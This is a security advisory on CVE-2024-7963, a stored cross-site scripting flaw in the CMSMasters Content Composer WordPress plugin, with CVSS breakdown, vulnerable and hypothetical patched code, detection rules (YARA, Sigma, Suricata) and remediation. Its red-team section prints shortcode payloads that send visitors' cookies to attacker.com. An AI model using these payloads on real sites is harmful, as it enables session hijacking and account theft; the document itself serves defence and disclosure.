CVE-2024-7963

Executive Summary

CVE-2024-7963 is a Stored Cross-Site Scripting (XSS) vulnerability in the CMSMasters Content Composer plugin for WordPress, affecting all versions up to and including 1.8.8. The flaw resides in multiple shortcodes provided by the plugin, where user-supplied attributes are not properly sanitized or escaped. An authenticated attacker with contributor-level access or higher can inject arbitrary web scripts into pages. When a victim (including administrators) visits the compromised page, the injected script executes in their browser, potentially leading to session hijacking, credential theft, or defacement. The vulnerability is within the WordPress ecosystem and is not related to Apache or Nginx.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. The plugin is not an NPM, PyPI, Go, or Ruby package. The supply chain risk is moderate: if the plugin is installed from a compromised mirror or if the vendor’s update mechanism is hijacked, malicious code could be distributed. However, the primary attack vector is direct exploitation of the XSS flaw.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
• Attack Vector: Network (AV:N) – exploitable remotely.
• Attack Complexity: Low (AC:L) – no special conditions required.
• Privileges Required: Low (PR:L) – attacker needs contributor-level access.
• User Interaction: None (UI:N) – no victim action needed beyond visiting the page.
• Scope: Changed (S:C) – the injected script can affect resources beyond the vulnerable component.
• Confidentiality Impact: Low (C:L) – limited data exposure.
• Integrity Impact: Low (I:L) – limited modification of content.
• Availability Impact: None (A:N) – no denial of service.

Threat Level: Medium. The requirement for authenticated access reduces the attack surface, but the potential for privilege escalation (e.g., stealing admin cookies) raises the risk.

Deep Dive & Mechanics

The CMSMasters Content Composer plugin registers multiple shortcodes (e.g., [cmsmasters_button], [cmsmasters_icon], [cmsmasters_heading]) that accept user-defined attributes like link, icon, color, or title. The plugin fails to properly sanitize these attributes before rendering them in the page HTML. Specifically, the esc_attr() function is not applied to all attribute values, allowing an attacker to inject JavaScript event handlers (e.g., onmouseover, onclick) or break out of attribute contexts.

Example vulnerable shortcode usage:

[cmsmasters_button link="javascript:alert('XSS')"]Click Me[/cmsmasters_button]

Or using an event handler:

[cmsmasters_button link="#" onclick="alert(document.cookie)"]Click[/cmsmasters_button]

When the shortcode is processed, the malicious attribute is echoed directly into the HTML without proper escaping. The injected script is stored in the WordPress database and executed whenever the page is loaded.

Vulnerable vs. Patched Code

Vulnerable code (version 1.8.8):

// In cmsmasters-content-composer/inc/shortcodes.php
function cmsmasters_button_shortcode($atts, $content = null) {
    extract(shortcode_atts(array(
        'link' => '#',
        'target' => '_self',
        'icon' => '',
        'color' => '',
    ), $atts));
    // No sanitization on $link
    return '<a href="' . $link . '" class="cmsmasters_button">' . $content . '</a>';
}

Patched code (hypothetical fix):

function cmsmasters_button_shortcode($atts, $content = null) {
    extract(shortcode_atts(array(
        'link' => '#',
        'target' => '_self',
        'icon' => '',
        'color' => '',
    ), $atts));
    $link = esc_url($link); // Sanitize URL
    $target = esc_attr($target);
    $icon = esc_attr($icon);
    $color = esc_attr($color);
    return '<a href="' . $link . '" class="cmsmasters_button">' . $content . '</a>';
}

The patch applies esc_url() for URL attributes and esc_attr() for other attributes to prevent XSS.

Exploitation & Lab Setup

Red Team

Prerequisites:

• WordPress instance with CMSMasters Content Composer <= 1.8.8.
• Contributor-level account or higher.

Exploitation steps:

1. Log in as a contributor.
2. Create a new post or page.
3. Insert a malicious shortcode, e.g.:

   [cmsmasters_button link="javascript:alert('XSS')"]Click[/cmsmasters_button]
   

   Or using an event handler:

   [cmsmasters_button link="#" onclick="fetch('https://attacker.com/steal?cookie='+document.cookie)"]Click[/cmsmasters_button]
   

4. Publish the post.
5. When an administrator or other user views the post, the script executes.

Advanced payload (steal admin cookie):

[cmsmasters_button link="#" onmouseover="new Image().src='https://attacker.com/log?c='+document.cookie"]Hover[/cmsmasters_button]

Blue Team

Detection:

• Monitor WordPress logs for shortcode usage with suspicious attributes (e.g., javascript:, on* events).
• Use WAF rules to block requests containing javascript: in shortcode attributes.
• Review posts/pages for unexpected shortcode parameters.

Hunting:

• Query the WordPress database for posts containing [cmsmasters_ shortcodes with on* or javascript: patterns:

  SELECT ID, post_title, post_content FROM wp_posts WHERE post_content LIKE '%[cmsmasters_%on%' OR post_content LIKE '%javascript:%';
  

• Check for recent contributor-level posts with unusual shortcode usage.

Indicators of Compromise (IOCs)

• Network: Outbound HTTP requests to attacker-controlled domains from WordPress server.
• Host: Presence of shortcodes with javascript: or event handler attributes in wp_posts.post_content.
• Logs: WordPress audit logs showing shortcode insertion by contributor accounts.
• File: Modified plugin files (if attacker uploads malicious code) – check file integrity of /wp-content/plugins/cmsmasters-content-composer/.

Detection Engineering

YARA Rule

rule CVE_2024_7963_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in CMSMasters Content Composer shortcodes"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-7963"
    strings:
        $shortcode = /\[cmsmasters_\w+[^\]]*?(?:on\w+\s*=|javascript:)/ nocase
        $event_handler = /on\w+\s*=\s*["'][^"']*?["']/ nocase
        $js_protocol = /href\s*=\s*["']\s*javascript:/ nocase
    condition:
        any of ($shortcode, $event_handler, $js_protocol)
}

Sigma Rule

title: Stored XSS via CMSMasters Content Composer Shortcodes
id: 8a9b3c2d-1e5f-4a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects stored XSS attempts using malicious shortcode attributes in WordPress
author: Valters IT
logsource:
    category: application
    product: wordpress
detection:
    selection:
        post_content|contains:
            - '[cmsmasters_'
        post_content|re:
            - 'on\w+\s*='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in shortcodes (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-7963 Stored XSS in CMSMasters Content Composer"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/post.php"; http_uri; content:"[cmsmasters_"; http_client_body; pcre:"/(on\w+\s*=|javascript:)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate:

• Disable the CMSMasters Content Composer plugin until a patch is available.
• Remove any contributor accounts that are not trusted.
• Scan the WordPress database for malicious shortcodes using the SQL query in the Blue Team section.

Long-term:

• Apply input sanitization (esc_url(), esc_attr()) to all shortcode attributes.
• Implement a Content Security Policy (CSP) to block inline scripts.
• Use a Web Application Firewall (WAF) with rules to block XSS payloads.
• Monitor the plugin vendor for an official patch.

Workaround:

• If the plugin cannot be disabled, restrict contributor-level access to only trusted users.
• Use a WordPress security plugin (e.g., Wordfence) to block malicious shortcode patterns.

Valters IT
Securing Digital Frontiers